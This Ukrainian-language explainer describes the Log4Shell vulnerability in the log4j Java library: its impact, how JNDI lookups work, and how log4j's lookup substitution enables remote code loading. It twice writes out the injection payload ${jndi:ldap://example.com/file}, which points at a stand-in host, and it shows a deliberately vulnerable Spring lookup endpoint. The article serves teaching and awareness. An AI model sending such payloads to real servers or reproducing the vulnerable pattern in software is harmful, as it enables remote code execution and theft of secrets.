1. Скандал

І, звісно ж, не можна не розповісти про історію, яка сталася наприкінці 2021 року.

Агентство з кібербезпеки та захисту інфраструктури США (CISA) заявило, що проблема Log4Shell є однією з найсерйозніших вразливостей в історії. Так, йдеться про нашу улюблену бібліотеку log4j.

Наша затишна маленька бібліотека log4j – і найсерйозніша вразливість в історії? Заінтригував? Тоді слухай.

2. Масштаб катастрофи

Про виявлення критичної вразливості Log4Shell (код CVE-2021-44228) повідомили 9 грудня 2021 фахівці з безпеки компанії Lunasec. Спеціалісти з Java-спільноти Apache Security Team перевірили цю інформацію та опублікували список вразливих Java-бібліотек. Список був просто величезним.

Якщо Java-проєкт використовував бібліотеку log4j, його можна було досить легко зламати. А зважаючи на те, що майже весь серверний софт пишеться на Java і log4j – найпопулярніший java-логгер, згідно з даними спеціалістів з безпеки, вразливість зачепила 93% корпоративних хмарних середовищ. Включно з Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam та багатьма іншими.

Ба більше, вразливість торкнулася не лише серверного софту, але й багатьох Java-застосунків, а також виробників апаратного забезпечення. Наприклад, Intel опублікувала список з 32 програм, схильних до зламу: SDK, системи обслуговування серверів, Linux-інструменти.

Також компанія Nvidia виклала звіт про проблеми з безпекою зі згадкою серверів DGX та інструментів NetQ. Ряд оновлень терміново випустили Apple та Microsoft.

Грубо кажучи, один рядок в адресному рядку браузера у школяра кладе сервер, якщо цей рядок з'їсть логер (на багатьох серверах записуються в логі всі HTTP-запити).

Після аналізу коду виявилось, що вразливість у бібліотеці сиділа з 2013 року, але помітили її лише зараз. А коли почали копати глибше, виявили прірву, дна якої не видно взагалі.

3. Найсерйозніша вразливість в історії

Ще в грудні 2021 року Агентство з кібербезпеки та захисту інфраструктури США (CISA) заявило, що Log4Shell є однією з найсерйозніших вразливостей в історії.

Багато інших фахівців висловлюють аналогічну думку. Про цю вразливість знають усі, і хакери різного віку вже використовують її для крадіжок персональних даних та інших видів атак на різні організації. У майбутньому на нас чекає хвиля масових зламів та витоків даних.

Масштаб катастрофи можна оцінити навіть за тим фактом, що існує окремий сайт із мемами про Log4j, і щодня там з'являються нові картинки.

Ця проблема із нами надовго. Діра в безпеці в мільйонах, якщо не сотнях мільйонів комп'ютерних систем. Весь старий софт потрібно оновити та як мінімум замінити там цю бібліотеку. Адже здебільшого ніхто навіть не знає, які бібліотеки та яких версій використовуються в їхньому софті.

Загалом, чекаємо на різке зростання зарплат фахівців з комп'ютерної безпеки.

4. Суть вразливості

Щоб зрозуміти суть вразливості, потрібно зрозуміти, як влаштовані великі серверні системи. Найчастіше такі серверні програми розділені на різні сервіси, що знаходяться на різних серверах. І взаємодіяти їм допомагає сервіс JNDI.

Java Naming and Directory Interface (JNDI) – це Java API, щоб шукати об'єкти/сервіси за іменем. Ці об'єкти можуть зберігатися в різних службах іменування або каталогах, таких як Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) або Domain Name Service (DNS).

Працювати з ним дуже легко – це простий Java API, який приймає лише один рядковий параметр – ім'я сервісу. З його допомогою можна звернутися до будь-якого сервісу та попросити його щось зробити та/або надіслати якісь дані. Наприклад, рядок ${jndi:ldap://example.com/file} завантажить дані з цього URL, що вказано в рядку.

Якщо параметр надходить із ненадійного джерела, це може призвести до віддаленого завантаження класів і виконання стороннього коду. Саме це відбувається з Log4j. Зловмисник просто направляє Java-застосунок жертви на шкідливий rmi/ldap/corba-сервер та отримує у відповідь шкідливий об'єкт.

Технічно проблема тут не в самій log4j бібліотеці, а в налаштуваннях безпеки під час роботи з JNDI-сервісом. Завжди потрібно перевіряти, який рядок ми передаємо до InitialContext.lookup().

Приклад вразливої JNDI-програми:


@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

5. Дуже розумна бібліотека

І до чого тут log4j, спитаєте ви? Вся річ у тому, що її розробники захотіли зробити роботу з нею максимально комфортною та додали до неї розумне логування. Ось як воно працює:

Почалося з того, що повідомлення лога дозволяли встановити шаблон, до якого виконувалася підстановка даних. Нариклад:


log.debug(“User {user} has {count} friends”, user, count);

Старий варіант без підстановки даних виглядав так:


log.debug( “User “+user +” has “+ count +” friends”);

У 2013 році до бібліотеки додали ще й підстановку розумних префіксів, вказаних шаблоном виду ${prefix:name}. Наприклад, рядок “${java:version}” при виведенні буде перетворено на «Java version 1.7.0_67». Ой, як зручно.

Серед розпізнаних виразів є ${jndi:<lookup>}, де після протоколу jndi можна вказати пошук через LDAP: можна зробити запит на довільну URL-адресу і завантажити його як дані об'єкта Java.

Це стандартна проблема підходу всієї JDK: вона автоматично десеріалізує об'єкт, посилання на який можна поставити у вигляді урла. Водночас із віддаленого ресурсу завантажуються не лише дані об'єкта, а й код його класу.

Злам виглядає так:

  • Завантажується файл зі шкідливим кодом
  • Файл містить серіалізований Java об'єкт (та його клас)
  • Клас завантажується Java-машиною
  • Створюється об'єкт шкідливого класу
  • Викликається конструктор об'єкту
  • І конструктор, і статична ініціалізація дозволяє виконати код шкідливого класу

Якщо у рядку, який логує log4j зустрінеться щось типу ${jndi:ldap://example.com/file}, то log4j завантажить дані з цієї URL-адреси при підключенні до інтернету. При введені логованого рядка зловмисник може завантажити і виконати шкідливий код, розміщений на загальнодоступній URL-адресі.

Навіть якщо виконання даних вимкнено, зловмисник може отримати дані, такі як секретні змінні середовища, за рахунок їх розміщення в URL-адресі, в якій їх буде замінено та відправлено на сервер зловмисника.

Хороша новина: проблему у бібліотеці швидко виправили.

Погана новина: мільйони серверів продовжують працювати по всьому світу зі старою версією цієї бібліотеки.